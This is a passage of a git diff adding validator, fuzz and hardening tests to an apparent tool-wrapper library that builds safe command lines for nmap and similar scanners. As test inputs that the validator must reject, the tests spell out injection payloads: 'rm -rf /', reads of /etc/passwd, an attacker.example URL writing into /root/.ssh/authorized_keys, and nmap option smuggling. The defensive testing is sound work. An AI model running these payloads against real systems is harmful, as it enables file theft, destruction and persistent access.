--hash=sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746 + # via + # pytest + # pytest-cov +pygments==2.21.0 \ + --hash=sha256:2363c69b61c4a97c838da3b130dcd6468f4848992b21a82f2a63ec34377137d9 \ + --hash=sha256:610ca751c9bc2492b38eb9a38a7fbc93edbbb2d7182edaf34e66ae493dee5c8c + # via pytest +pytest==9.1.1 \ + --hash=sha256:1088fbde8f2b49d95a549a195707afa7a76a3ce9bcadc26b6d71f0ffda5fe313 \ + --hash=sha256:37a86b45efb9a47a61a36449063e8e18d0cab3161329fc099eb21783169c4f0c + # via + # pytest-cov + # toolclad (pyproject.toml) +pytest-cov==7.1.0 \ + --hash=sha256:30674f2b5f6351aa09702a9c8c364f6a01c27aae0c1366ae8016160d1efc56b2 \ + --hash=sha256:a0461110b7865f9a271aa1b51e516c9a95de9d696734a2f71e3e78f46e1d4678 + # via toolclad (pyproject.toml) +sortedcontainers==2.4.0 \ + --hash=sha256:25caa5a06cc30b6b83d11423433f65d1f9d76c4c6a0c90e3379eaa43b9bfdb88 \ + --hash=sha256:a163dcaede0f1c021485e957a39245190e74249897e2ae4b2aa38595db237ee0 + # via hypothesis diff --git a/python/tests/test_executor.py b/python/tests/test_executor.py index 772f452..f3cd4bd 100644 --- a/python/tests/test_executor.py +++ b/python/tests/test_executor.py @@ -16,7 +16,6 @@ ArgDef, CommandDef, ConditionalDef, - EvidenceDef, HttpDef, McpProxyDef, Manifest, @@ -49,7 +48,8 @@ def _simple_manifest( for k, v in conditionals.items(): cmd_conditionals[k] = ConditionalDef(name=k, when=v["when"], template=v["template"]) return Manifest( - tool=ToolMeta(name="test_tool", version="1.0.0", binary="echo"), + # tool.binary must match argv[0] (W6), so derive it from the template. + tool=ToolMeta(name="test_tool", version="1.0.0", binary=template.split()[0]), args=args, command=CommandDef( template=template, @@ -112,7 +112,7 @@ def test_optional_arg_defaults_to_empty(self): class TestMappings: def test_scan_type_mapping(self): m = _simple_manifest( - "nmap {_scan_flags} {target}", + "nmap {_scan_type_flags} {target}", args={ "target": ArgDef(name="target", position=1, required=True, type="scope_target"), "scan_type": ArgDef( @@ -131,8 +131,8 @@ def test_scan_type_mapping(self): result = build_command(m, {"target": "10.0.1.0/24", "scan_type": "service"}) assert result == "nmap -sT -sV --version-intensity 5 10.0.1.0/24" - def test_mapping_unknown_value_empty(self): - """A mapping value not in the table resolves to empty string.""" + def test_mapping_enum_table_must_be_exhaustive(self): + """An enum mapping table that misses an allowed value is refused.""" m = _simple_manifest( "tool {_mode_flags} {target}", args={ @@ -144,9 +144,29 @@ def test_mapping_unknown_value_empty(self): }, mappings={"mode": {"a": "--alpha", "b": "--beta"}}, ) - result = build_command(m, {"target": "x", "mode": "c"}) - # c has no mapping, so {_mode_flags} resolves to "" - assert result == "tool x" + with pytest.raises(ValueError, match="missing entries for enum values: 'c'"): + build_command(m, {"target": "x", "mode": "c"}) + + def test_mapping_unknown_value_is_error(self): + """A present value with no table entry is a build error, not an empty splice.""" + m = _simple_manifest( + "tool {_mode_flags} {target}", + args={ + "target": ArgDef(name="target", position=1, required=True, type="string"), + "mode": ArgDef(name="mode", position=2, required=False, type="string"), + }, + mappings={"mode": {"a": "--alpha", "b": "--beta"}}, + ) + with pytest.raises( + ValidationError, + match=r"no mapping for argument 'mode' value 'c' in \[command.mappings.mode\]", + ): + build_command(m, {"target": "x", "mode": "c"}) + # An absent optional still contributes nothing. + assert build_command(m, {"target": "x"}) == "tool x" + # Mapping to "" means "no flags". + m.command.mappings["mode"]["c"] = "" + assert build_command(m, {"target": "x", "mode": "c"}) == "tool x" # --------------------------------------------------------------------------- @@ -173,7 +193,7 @@ def test_conditional_excluded_when_false(self): "tool {_port_flag} {target}", args={ "target": ArgDef(name="target", position=1, required=True, type="string"), - "port": ArgDef(name="port", position=2, required=False, type="port", default="0"), + "port": ArgDef(name="port", position=2, required=False, type="integer", default="0"), }, conditionals={ "port_flag": {"when": "port != 0", "template": "-p {port}"}, @@ -235,8 +255,13 @@ def test_invalid_arg_value(self): def test_injection_blocked(self): m = _simple_manifest("echo {target}") - with pytest.raises(ValidationError, match="shell metacharacters"): + # The whitespace rule rejects the classic payload before the + # metacharacter blocklist is reached; a whitespace-free payload + # still trips the blocklist. + with pytest.raises(ValidationError, match="whitespace"): build_command(m, {"target": "hello; rm -rf /"}) + with pytest.raises(ValidationError, match="shell metacharacters"): + build_command(m, {"target": "hello;rm"}) # --------------------------------------------------------------------------- @@ -389,6 +414,11 @@ class TestMcpProxyExecution: def _mcp_manifest(self) -> Manifest: return Manifest( tool=ToolMeta(name="mcp_tool", version="1.0.0", binary=""), + args={ + "target": ArgDef(name="target", position=1, type="scope_target"), + "port": ArgDef(name="port", position=2, type="port"), + "extra": ArgDef(name="extra", position=3, type="string"), + }, mcp=McpProxyDef( server="security-scanner", tool="run_scan", @@ -414,10 +444,21 @@ def test_mcp_field_map_applied(self): assert envelope["mcp_args"]["port_number"] == "443" def test_mcp_unmapped_args_passed_through(self): + # A declared argument with no field_map entry keeps its own name. m = self._mcp_manifest() envelope = execute(m, {"target": "10.0.1.1", "extra": "val"}) assert envelope["mcp_args"]["extra"] == "val" + def test_mcp_undeclared_argument_refused(self): + m = self._mcp_manifest() + with pytest.raises(ValidationError, match="unknown argument 'smuggled'"): + execute(m, {"target": "10.0.1.1", "smuggled": "x"}) + + def test_mcp_arguments_are_validated(self): + m = self._mcp_manifest() + with pytest.raises(ValidationError): + execute(m, {"target": "10.0.1.1", "extra": "-iL /etc/passwd"}) + def test_mcp_dry_run(self): m = self._mcp_manifest() envelope = execute(m, {"target": "10.0.1.1"}, dry_run=True) diff --git a/python/tests/test_fuzz.py b/python/tests/test_fuzz.py new file mode 100644 index 0000000..f0d19a5 --- /dev/null +++ b/python/tests/test_fuzz.py @@ -0,0 +1,182 @@ +"""Property tests for the validator and the manifest loader. + +Property (SEMANTICS W13): for a string-derived type the validator either +returns a value or raises ``ValidationError`` -- never another exception -- +and a returned value never carries whitespace (``msf_options`` exempt), a +quote or backslash, a control character, or a leading ``-``/``+`` unless the +argument opts in. The loader raises only ``ValueError`` (which covers TOML +decode errors) on hostile input. + +No argument definition here sets ``block_internal`` and the resolver is +replaced, so no example can cause a DNS lookup. +""" + +from __future__ import annotations + +import json +from unittest import mock + +from hypothesis import HealthCheck, event, given, settings +from hypothesis import strategies as st + +from toolclad import hostpolicy +from toolclad.manifest import ArgDef, load_manifest_from_str +from toolclad.validator import ValidationError, validate_arg, validate_arg_mode + +# string-derived types exercised here; credential_file is left out because it +# consults the filesystem. +FUZZ_TYPES = ( + "string", "path", "regex_match", "url", "scope_target", "duration", + "msf_options", +) + +_QUOTES = set("'\"\\") + +# Unicode text, with control, format and separator characters mixed in, and +# prefixes that steer values into the type-specific parsers. +_hostile_chars = st.characters(categories=("Cc", "Cf", "Zs", "Zl", "Zp")) +_ascii = st.text(alphabet="abcdefghijklmnopqrstuvwxyz0123456789.-/:_", max_size=24) +_one_bad = st.one_of( + st.just(""), _hostile_chars, st.sampled_from(list("'\"\\ \t\n;|&$`<>-+=%?#@[]{}")), +) +# Mostly well-formed values with at most one hostile character spliced in, +# so a fair share of examples reach the type parsers and are accepted. +_near_valid = st.builds(lambda a, c, b: a + c + b, _ascii, _one_bad, _ascii) +# Valid values of every fuzzed type, each mutated by splicing in at most one +# hostile character at a random offset. +_SEEDS = [ + "abc", "scan_01", "reports/2024/out.txt", "https://example.com/a?b=c", + "http://93.184.216.34:8080/x", "example.com", "host-1.example.org", + "93.184.216.34", "192.0.2.0/24", "2001:db8::1", "1h30m", "250ms", "45", + "RHOSTS 192.0.2.1", "LPORT 4444", +] +_seeded = st.builds( + lambda seed, i, c: seed[:i] + c + seed[i:], + st.sampled_from(_SEEDS), st.integers(0, 32), _one_bad, +) +_text = st.one_of( + _seeded, + _seeded, + _near_valid, + st.text(), + st.text(alphabet=_hostile_chars), + st.lists(st.one_of(st.text(max_size=8), _hostile_chars)).map("".join), +) +_prefix = st.sampled_from( + ["", "-", "+", "https://", "http://", "ftp://", "file://", "a", "10.", "x.example.com", + "../", "/", "1h", "RHOSTS ", "[::1]", "%2d"] +) +_values = st.one_of(_seeded, st.builds(lambda p, t: p + t, _prefix, _text)) + + +def _arg(arg_type: str, **kw) -> ArgDef: + if arg_type == "regex_match": + kw.setdefault("pattern", ".*") + return ArgDef(name="fuzz", type=arg_type, **kw) + + +def _no_dns(host: str): + raise AssertionError(f"resolver consulted for {host!r}") + + +def _check_hygiene(arg_type: str, out: str, allow_dash: bool) -> None: + assert isinstance(out, str) + if arg_type != "msf_options": + assert not any(c.isspace() for c in out), f"whitespace in {out!r}" + else: + assert not any(c.isspace() and c != " " for c in out), f"non-space whitespace in {out!r}" + assert not (set(out) & _QUOTES), f"quote or backslash in {out!r}" + assert not any(ord(c) < 0x20 or 0x7F <= ord(c) <= 0x9F for c in out), f"control char in {out!r}" + if not allow_dash: + assert out[:1] not in ("-", "+"), f"leading dash in {out!r}" + + +@settings(max_examples=2000, deadline=None, suppress_health_check=[HealthCheck.too_slow]) +@given( + arg_type=st.sampled_from(FUZZ_TYPES), + value=_values, + allow_whitespace=st.booleans(), +) +def test_validator_property_template_mode(arg_type, value, allow_whitespace): + # Template (strict) mode: allow_whitespace is never honored here. + arg = _arg(arg_type, allow_whitespace=allow_whitespace) + with mock.patch.object(hostpolicy, "resolve_host_addresses", _no_dns): + try: + out = validate_arg(arg, value) + except ValidationError: + event(f"{arg_type}: rejected") + return + event(f"{arg_type}: accepted") + _check_hygiene(arg_type, out, allow_dash=False) + + +@settings(max_examples=1000, deadline=None, suppress_health_check=[HealthCheck.too_slow]) +@given(arg_type=st.sampled_from(FUZZ_TYPES), value=_values) +def test_validator_property_exec_mode_opt_ins(arg_type, value): + # Exec mode with both opt-ins: only the ASCII space may appear, and a + # leading dash is permitted; every other rule still holds. + arg = _arg(arg_type, allow_whitespace=True, allow_leading_dash=True) + with mock.patch.object(hostpolicy, "resolve_host_addresses", _no_dns): + try: + out = validate_arg_mode(arg, value, exec_mode=True) + except ValidationError: + return + assert not (set(out) & _QUOTES) + assert not any(ord(c) < 0x20 or 0x7F <= ord(c) <= 0x9F for c in out) + assert not any(c.isspace() and c != " " for c in out) + if arg_type == "url": + assert " " not in out + + +def _toml_str(s: str) -> str: + """A TOML basic string for ``s`` (JSON escapes are valid TOML escapes; + lone surrogates cannot be encoded and are replaced).""" + return json.dumps(s.encode("utf-8", "replace").decode("utf-8")) + + +_MANIFEST = """\ +[tool] +name = {name} +version = "1.0.0" +binary = {binary} + +[args.target] +position = 1 +required = true +type = {type} +pattern = {pattern} + +[command] +exec = [{binary}, {token}] + +[output] +format = "text" +""" + + +@settings(max_examples=500, deadline=None, suppress_health_check=[HealthCheck.too_slow]) +@given( + name=_values, + binary=st.one_of(st.sampled_from(["whois", "curl", "sh", "/usr/bin/dig"]), _values), + arg_type=st.one_of(st.sampled_from(FUZZ_TYPES + ("integer", "enum", "bogus")), _values), + pattern=_values, + token=st.one_of(st.sampled_from(["{target}", "-x{target}", "{_secret:k}", "{nope}"]), _values), +) +def test_manifest_loader_property(name, binary, arg_type, pattern, token): + source = _MANIFEST.format( + name=_toml_str(name), binary=_toml_str(binary), type=_toml_str(arg_type), + pattern=_toml_str(pattern), token=_toml_str(token), + ) + try: + load_manifest_from_str(source) + except ValueError: + pass + + +@settings(max_examples=500, deadline=None) +@given(source=st.text()) +def test_manifest_loader_arbitrary_text(source): + try: + load_manifest_from_str(source) + except ValueError: + pass diff --git a/python/tests/test_hardening_w1.py b/python/tests/test_hardening_w1.py new file mode 100644 index 0000000..fa0897d --- /dev/null +++ b/python/tests/test_hardening_w1.py @@ -0,0 +1,910 @@ +"""Tests for tokenize-then-substitute command construction and value hygiene. + +Covers the canonical exec form, template tokenization, trusted vs. +single-token variables, ``end_of_options``, ``{{``/``}}`` escapes, the +string-derived hygiene rules, and pattern anchoring. No network tool is ever +executed: every manifest here invokes ``echo`` or ``true`` and only argv is +asserted (or ``dry_run=True`` is used). +""" + +from __future__ import annotations + +import textwrap +import warnings + +import pytest + +from toolclad.executor import ( + build_command, + build_command_argv, + compile_command, + execute, + tokenize_template, +) +from toolclad.manifest import ( + ArgDef, + CommandDef, + CustomTypeDef, + Manifest, + OutputDef, + ToolMeta, + load_manifest, +) +from toolclad.validator import ( + ValidationError, + validate_arg, + validate_arg_mode, + validate_arg_with_custom_types, + validate_arg_with_custom_types_mode, +) + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + +def _arg(type: str, **kwargs) -> ArgDef: # noqa: A002 + return ArgDef(name="test", type=type, **kwargs) + + +def _load(tmp_path, toml_text: str, name: str = "t.clad.toml") -> Manifest: + """Write a TOML manifest to tmp_path and load it (deprecation warnings hidden).""" + p = tmp_path / name + p.write_text(textwrap.dedent(toml_text)) + with warnings.catch_warnings(): + warnings.simplefilter("ignore", DeprecationWarning) + return load_manifest(str(p)) + + +_HEADER = """\ + [tool] + name = "t" + version = "1.0.0" + binary = "echo" + + [output] + format = "text" +""" + + +# --------------------------------------------------------------------------- +# TC-1 / TC-2 / TC-3 payloads +# --------------------------------------------------------------------------- + +class TestInjectionPayloads: + def test_tc1_payloads_rejected(self): + for payload in ( + "' -d @/etc/passwd", + "X: y' -d @/etc/passwd -H 'Z: w", + ): + with pytest.raises(ValidationError): + validate_arg(_arg("string"), payload) + for payload in ( + "https://attacker.example/ -o /root/.ssh/authorized_keys", + "https://attacker.example/ -o /tmp/pwned", + ): + with pytest.raises(ValidationError): + validate_arg(_arg("url"), payload) + + def test_tc1_payloads_rejected_even_with_opt_ins(self): + # Quotes are never allowed; whitespace opt-in does not rescue these. + ad = _arg("string", allow_whitespace=True, allow_leading_dash=True) + with pytest.raises(ValidationError, match="quote or backslash"): + validate_arg_mode(ad, "X: y' -d @/etc/passwd -H 'Z: w", exec_mode=True) + # url never honors allow_whitespace. + ad = _arg("url", allow_whitespace=True) + with pytest.raises(ValidationError, match="whitespace"): + validate_arg_mode(ad, "https://attacker.example/ -o /tmp/pwned", exec_mode=True) + + def test_tc2_payloads_rejected(self): + for payload in ( + "-iL /etc/passwd", + "--script=/tmp/evil.nse", + "--script http-fetch --script-args http-fetch.destination=/tmp/d", + ): + with pytest.raises(ValidationError): + validate_arg(_arg("string"), payload) + + def test_tc3_leading_dash_rejected(self): + with pytest.raises(ValidationError, match="must not start with '-' or '\\+'"): + validate_arg(_arg("path"), "-rf") + with pytest.raises(ValidationError, match="must not start with"): + validate_arg(_arg("string"), "--output=/etc/cron.d/x") + with pytest.raises(ValidationError, match="must not start with"): + validate_arg(_arg("integer"), "-1") + with pytest.raises(ValidationError, match="must not start with"): + validate_arg(_arg("string"), "+short") + + def test_tc3_allow_leading_dash_permits(self): + assert validate_arg(_arg("string", allow_leading_dash=True), "-v") == "-v" + assert validate_arg(_arg("string", allow_leading_dash=True), "+short") == "+short" + assert validate_arg(_arg("integer", allow_leading_dash=True), "-5") == "-5" + + +# --------------------------------------------------------------------------- +# Hygiene rules (W1.5) +# --------------------------------------------------------------------------- + +class TestHygiene: + def test_nul_rejected_for_every_type(self): + for t, v in ( + ("string", "a\0b"), ("integer", "1\0"), ("number", "1.0\0"), + ("port", "80\0"), ("boolean", "true\0"), ("ip_address", "1.1.1.1\0"), + ("cidr", "10.0.0.0/8\0"), ("scope_target", "example.com\0"), + ("url", "https://example.com/\0"), ("path", "a/b\0"), + ("duration", "30\0"), ("msf_options", "RHOSTS 1.1.1.1\0"), + ("regex_match", "x\0"), ("credential_file", "x\0"), + ): + with pytest.raises(ValidationError, match="NUL"): + validate_arg(_arg(t, pattern=".*", allowed=["x"]), v) + with pytest.raises(ValidationError, match="NUL"): + validate_arg(_arg("enum", allowed=["a\0"]), "a\0") + + def test_enum_exempt_from_other_hygiene_rules(self): + ad = _arg("enum", allowed=["-sS --top-ports", "it's"]) + assert validate_arg(ad, "-sS --top-ports") == "-sS --top-ports" + assert validate_arg(ad, "it's") == "it's" + + def test_control_characters_rejected(self): + # Every C0 (including the whitespace ones), DEL, and the C1 range. + for c in ("\x01", "\x1b", "\x7f", "\x1f", "\t", "\n", "\r", "\x0b", "\x0c", "\x80", "\x85", "\x9f"): + with pytest.raises(ValidationError, match="control characters"): + validate_arg(_arg("string"), f"a{c}b") + + def test_control_characters_unconditional(self): + # allow_whitespace in exec mode never relaxes the control rule. + ad = _arg("string", allow_whitespace=True) + for c in ("\t", "\n", "\r", "\x0b", "\x0c", "\x85"): + with pytest.raises(ValidationError, match="control characters"): + validate_arg_mode(ad, f"a{c}b", exec_mode=True) + with pytest.raises(ValidationError, match="control characters"): + validate_arg(_arg("msf_options"), "RHOSTS\t10.0.1.1") + + def test_quotes_and_backslash_rejected(self): + for v in ("a'b", 'a"b', "a\\b"): + with pytest.raises(ValidationError, match="quote or backslash"): + validate_arg(_arg("string"), v) + + def test_scope_target_keeps_specific_backslash_message(self): + with pytest.raises(ValidationError, match="scope_target must not contain backslash"): + validate_arg(_arg("scope_target"), "example.com\\nINJECTED") + + def test_whitespace_rejected_by_default(self): + for v in ("a b", "a\u00a0b", "a\u2003b", "a\u2028b", "a\u3000b"): + with pytest.raises(ValidationError, match="must not contain whitespace"): + validate_arg(_arg("string"), v) + + def test_allow_whitespace_permits_only_ascii_space(self): + ad = _arg("string", allow_whitespace=True) + assert validate_arg_mode(ad, "X-Trace: abc", exec_mode=True) == "X-Trace: abc" + for c in ("\t", "\n", "\r"): + with pytest.raises(ValidationError, match="control characters"): + validate_arg_mode(ad, f"a{c}b", exec_mode=True) + for c in ("\u00a0", "\u2000", "\u200a", "\u2028", "\u2029", "\u3000"): + with pytest.raises(ValidationError, match="must not contain whitespace"): + validate_arg_mode(ad, f"a{c}b", exec_mode=True) + + def test_msf_options_separator_is_ascii_space_only(self): + with pytest.raises(ValidationError, match="must not contain whitespace"): + validate_arg(_arg("msf_options"), "RHOSTS\u00a010.0.1.1") + + def test_allow_whitespace_only_in_exec_mode(self): + ad = _arg("string", allow_whitespace=True) + with pytest.raises(ValidationError, match="whitespace"): + validate_arg(ad, "a b") + with pytest.raises(ValidationError, match="whitespace"): + validate_arg_mode(ad, "a b", exec_mode=False) + assert validate_arg_mode(ad, "a b", exec_mode=True) == "a b" + + def test_msf_options_exempt_from_whitespace_only(self): + assert validate_arg(_arg("msf_options"), "RHOSTS 10.0.1.1;RPORT 445") == "RHOSTS 10.0.1.1;RPORT 445" + with pytest.raises(ValidationError, match="quote or backslash"): + validate_arg(_arg("msf_options"), "RHOSTS 'x'") + with pytest.raises(ValidationError, match="must not start with"): + validate_arg(_arg("msf_options"), "-RHOSTS x") + + def test_rule_order(self): + # NUL beats control, control beats quotes, quotes beat whitespace, + # whitespace beats leading dash. + with pytest.raises(ValidationError, match="NUL"): + validate_arg(_arg("string"), "-'\x01 \0") + with pytest.raises(ValidationError, match="control"): + validate_arg(_arg("string"), "-' \x01") + with pytest.raises(ValidationError, match="quote"): + validate_arg(_arg("string"), "- '") + with pytest.raises(ValidationError, match="whitespace"): + validate_arg(_arg("string"), "- x") + + def test_numeric_leading_dash_applies_to_output(self): + with pytest.raises(ValidationError, match="must not start with"): + validate_arg(_arg("integer"), "-1") + with pytest.raises(ValidationError, match="must not start with"): + validate_arg(_arg("number"), "-0.5") + assert validate_arg(_arg("integer", min=1, max=10, clamp=True), "-5") == "1" + assert validate_arg(_arg("number", min_float=0.0, max_float=1.0, clamp=True), "-5") == "0" + with pytest.raises(ValidationError, match="Expected port number"): + validate_arg(_arg("port"), "-1") + assert validate_arg(_arg("integer", allow_leading_dash=True), "-7") == "-7" + assert validate_arg(_arg("integer"), "+7") == "7" + + def test_url_leading_dash_and_whitespace(self): + with pytest.raises(ValidationError, match="must not start with"): + validate_arg(_arg("url"), "-https://example.com/") + with pytest.raises(ValidationError, match="whitespace"): + validate_arg(_arg("url"), "https://example.com/a b") + assert validate_arg(_arg("url"), "https://example.com/path") == "https://example.com/path" + + +# --------------------------------------------------------------------------- +# Pattern anchoring (W1.6) +# --------------------------------------------------------------------------- + +class TestPatternAnchoring: + def test_unanchored_pattern_is_anchored(self): + ad = _arg("string", pattern="[a-z]+") + with pytest.raises(ValidationError, match="does not match"): + validate_arg(ad, "abc123") + assert validate_arg(ad, "abc") == "abc" + + def test_regex_match_anchored(self): + ad = _arg("regex_match", pattern="[a-z]+") + with pytest.raises(ValidationError, match="does not match"): + validate_arg(ad, "abc123") + with pytest.raises(ValidationError, match="does not match"): + validate_arg(ad, "1abc") + + def test_explicit_anchors_are_normalized(self): + ad = _arg("string", pattern="^[a-z]+$") + assert validate_arg(ad, "abc") == "abc" + with pytest.raises(ValidationError): + validate_arg(ad, "abc1") + + def test_alternation_is_grouped(self): + ad = _arg("string", pattern="^foo|bar$") + assert validate_arg(ad, "foo") == "foo" + assert validate_arg(ad, "bar") == "bar" + with pytest.raises(ValidationError): + validate_arg(ad, "foobar") + + def test_escaped_dollar_is_kept(self): + # `\$` is a literal dollar, not an anchor; the pattern still full-matches. + ad = _arg("string", pattern=r"cost\$", allow_leading_dash=True) + with pytest.raises(ValidationError): + validate_arg(ad, "cost") + + def test_custom_type_pattern_anchored(self): + custom = {"ident": CustomTypeDef(base="string", pattern="[a-z]+")} + ad = _arg("ident") + with pytest.raises(ValidationError, match="does not match"): + validate_arg_with_custom_types(ad, "abc123", custom) + assert validate_arg_with_custom_types(ad, "abc", custom) == "abc" + + def test_custom_type_carries_opt_ins(self): + custom = {"flag": CustomTypeDef(base="string")} + with pytest.raises(ValidationError, match="must not start with"): + validate_arg_with_custom_types(_arg("flag"), "-v", custom) + assert validate_arg_with_custom_types(_arg("flag", allow_leading_dash=True), "-v", custom) == "-v" + ad = _arg("flag", allow_whitespace=True) + with pytest.raises(ValidationError, match="whitespace"): + validate_arg_with_custom_types(ad, "a b", custom) + assert validate_arg_with_custom_types_mode(ad, "a b", custom, exec_mode=True) == "a b" + + +# --------------------------------------------------------------------------- +# Tokenizer +# --------------------------------------------------------------------------- + +class TestTokenizer: + def test_basic_split(self): + assert tokenize_template("echo a\tb {x}") == ["echo", "a", "b", "{x}"] + assert tokenize_template("") == [] + assert tokenize_template(" ") == [] + + def test_quotes_group_and_are_removed(self): + assert tokenize_template("a 'b c' \"d e\"") == ["a", "b c", "d e"] + assert tokenize_template("''") == [""] + assert tokenize_template("a''b") == ["ab"] + + def test_backslash_escapes_outside_single_quotes(self): + assert tokenize_template(r"a\ b") == ["a b"] + assert tokenize_template(r'"a\"b"') == ['a"b'] + assert tokenize_template(r"'a\b'") == ["a\\b"] + + def test_trailing_backslash_rejected(self): + with pytest.raises(ValueError, match="trailing backslash"): + tokenize_template("a \\") + + def test_unbalanced_quote_rejected(self): + with pytest.raises(ValueError, match="unbalanced quote"): + tokenize_template("a 'b") + with pytest.raises(ValueError, match="unbalanced quote"): + tokenize_template('a "b') + + def test_placeholder_inside_quotes_rejected(self): + with pytest.raises(ValueError, match="places a placeholder inside quotes"): + tokenize_template("curl -H '{headers}' {url}") + with pytest.raises(ValueError, match="places a placeholder inside quotes"): + tokenize_template('curl -H "X: {headers}" {url}') + + def test_brace_escape_inside_quotes_is_legal(self): + assert tokenize_template("-w '\\n%{{http_code}}'") == ["-w", "\\n%{{http_code}}"] + with pytest.raises(ValueError, match="inside quotes"): + tokenize_template("-w '%{{http_code}} {url}'") + + +# --------------------------------------------------------------------------- +# Load-time compile +# --------------------------------------------------------------------------- + +class TestLoadCompile: + def test_template_compiled_to_exec_with_warning(self, tmp_path, capsys): + p = tmp_path / "t.clad.toml" + p.write_text(textwrap.dedent(_HEADER + """ + [args.target] + position = 1 + required = true + type = "string" + + [command] + template = "echo -n {target}" + """)) + with pytest.warns(DeprecationWarning, match="template is deprecated"): + m = load_manifest(str(p)) + assert m.command.exec == ["echo", "-n", "{target}"] + assert m.command.template == "echo -n {target}" + assert m.command.exec_was_declared is False + err = capsys.readouterr().err + assert err.count( + "warning: [command] template is deprecated and will be removed in the " + "next minor release; use exec = [...]" + ) == 1 + + def test_declared_exec_sets_flag_and_no_warning(self, tmp_path): + p = tmp_path / "t.clad.toml" + p.write_text(textwrap.dedent(_HEADER + """ + [args.target] + position = 1 + required = true + type = "string" + + [command] + exec = ["echo", "{target}"] + """)) + with warnings.catch_warnings(): + warnings.simplefilter("error") + m = load_manifest(str(p)) + assert m.command.exec_was_declared is True + assert m.command.exec == ["echo", "{target}"] + + def test_placeholder_inside_quotes_refused_at_load(self, tmp_path): + with pytest.raises(ValueError, match="places a placeholder inside quotes"): + _load(tmp_path, _HEADER + """ + [args.headers] + position = 1 + type = "string" + + [command] + template = "echo -H '{headers}'" + """) + + def test_conditional_placeholder_inside_quotes_refused_at_load(self, tmp_path): + with pytest.raises(ValueError, match="conditionals.header_flags.*inside quotes"): + _load(tmp_path, _HEADER + """ + [args.headers] + position = 1 + type = "string" + + [command] + exec = ["echo", "{_header_flags}"] + + [command.conditionals.header_flags] + when = "headers != ''" + template = "-H '{headers}'" + """) + + def test_conditional_tokens_stored_at_load(self, tmp_path): + m = _load(tmp_path, _HEADER + """ + [args.headers] + position = 1 + type = "string" + + [command] + exec = ["echo", "{_header_flags}"] + + [command.conditionals.header_flags] + when = "headers != ''" + template = "-H {headers}" + """) + assert m.command.conditionals["header_flags"].tokens == ["-H", "{headers}"] + + def test_unresolved_placeholder_refused_at_load(self, tmp_path): + with pytest.raises(ValueError, match="unresolved placeholder '{nope}'"): + _load(tmp_path, _HEADER + """ + [command] + exec = ["echo", "{nope}"] + """) + with pytest.raises(ValueError, match="unresolved placeholder '{nope}'"): + _load(tmp_path, _HEADER + """ + [command] + template = "echo {nope}" + """) + with pytest.raises(ValueError, match="unresolved placeholder '{nope}'"): + _load(tmp_path, _HEADER + """ + [args.x] + position = 1 + type = "string" + + [command] + exec = ["echo", "{_c}"] + + [command.conditionals.c] + when = "x != ''" + template = "--flag {nope}" + """) + + def test_scan_flags_alias_removed(self, tmp_path): + with pytest.raises(ValueError, match="unresolved placeholder '{_scan_flags}'"): + _load(tmp_path, _HEADER + """ + [args.scan_type] + position = 1 + type = "enum" + allowed = ["a"] + + [command] + exec = ["echo", "{_scan_flags}"] + + [command.mappings.scan_type] + a = "-A" + """) + + def test_known_placeholders_accepted_at_load(self, tmp_path): + m = _load(tmp_path, _HEADER + """ + [args.scan_type] + position = 1 + type = "enum" + allowed = ["a"] + default = "a" + + [args.x] + position = 2 + type = "string" + + [command] + exec = ["echo", "{_scan_type_flags}", "{_c}", "{rate}", "{_scan_id}", "{_output_file}", "{_evidence_dir}", "{x}"] + + [command.defaults] + rate = "10" + + [command.mappings.scan_type] + a = "-A" + + [command.conditionals.c] + when = "x != ''" + template = "--x {x}" + """) + assert m.command.exec[0] == "echo" + + def test_multi_token_var_embedded_in_text_refused(self, tmp_path): + msg = "placeholder '{_scan_type_flags}' expands to multiple tokens and must be a whole token in command" + with pytest.raises(ValueError, match=msg): + _load(tmp_path, _HEADER + """ + [args.scan_type] + position = 1 + type = "enum" + allowed = ["a"] + + [command] + exec = ["echo", "--f={_scan_type_flags}"] + + [command.mappings.scan_type] + a = "-A" + """) + # Same refusal on the build path for a manifest that skipped load. + m = Manifest( + tool=ToolMeta(name="t", binary="echo"), + command=CommandDef(exec=["echo", "--f={_scan_type_flags}"], mappings={"scan_type": {"a": "-A"}}), + args={"scan_type": ArgDef(name="scan_type", position=1, type="enum", allowed=["a"])}, + output=OutputDef(format="text"), + ) + with pytest.raises(ValueError, match=msg): + build_command_argv(m, {"scan_type": "a"}) + + def test_enum_mapping_must_cover_every_allowed_value(self, tmp_path): + with pytest.raises(ValueError, match="missing entries for enum values: 'syn', 'udp'"): + _load(tmp_path, _HEADER + """ + [args.scan_type] + position = 1 + type = "enum" + allowed = ["ping", "syn", "udp"] + + [command] + exec = ["echo", "{_scan_type_flags}"] + + [command.mappings.scan_type] + ping = "-sn" + """) + # Mapping a value to "" means "no flags" and satisfies the check. + m = _load(tmp_path, _HEADER + """ + [args.scan_type] + position = 1 + type = "enum" + allowed = ["ping", "syn"] + default = "ping" + + [command] + exec = ["echo", "{_scan_type_flags}", "end"] + + [command.mappings.scan_type] + ping = "" + syn = "-sS" + """) + assert build_command_argv(m, {}) == ["echo", "end"] + assert build_command_argv(m, {"scan_type": "syn"}) == ["echo", "-sS", "end"] + + def test_unmapped_present_value_is_build_error(self, tmp_path): + m = _load(tmp_path, _HEADER + """ + [args.mode] + position = 1 + type = "string" + + [command] + exec = ["echo", "{_mode_flags}", "end"] + + [command.mappings.mode] + fast = "-T4" + """) + with pytest.raises( + ValidationError, + match=r"no mapping for argument 'mode' value 'slow' in \[command.mappings.mode\]", + ): + build_command_argv(m, {"mode": "slow"}) + # Absent optional contributes nothing; a mapped value splices. + assert build_command_argv(m, {}) == ["echo", "end"] + assert build_command_argv(m, {"mode": "fast"}) == ["echo", "-T4", "end"] + + def test_executor_takes_precedence_and_validates_strictly(self): + m = Manifest( + tool=ToolMeta(name="t", binary="true"), + command=CommandDef(executor="true", exec=["echo", "{x}"], exec_was_declared=True), + args={"x": ArgDef(name="x", position=1, type="string", allow_whitespace=True)}, + output=OutputDef(format="text"), + ) + env = execute(m, {"x": "ab"}, dry_run=True) + assert env["command"] == "true (custom executor)" + with pytest.raises(ValidationError, match="whitespace"): + execute(m, {"x": "a b"}, dry_run=True) + + def test_end_of_options_invalid_value_refused(self, tmp_path): + with pytest.raises(ValueError, match='end_of_options must be "--"'): + _load(tmp_path, _HEADER + """ + [command] + exec = ["echo"] + end_of_options = "-" + """) + + def test_exec_must_be_string_array(self, tmp_path): + with pytest.raises(ValueError, match="array of strings"): + _load(tmp_path, _HEADER + """ + [command] 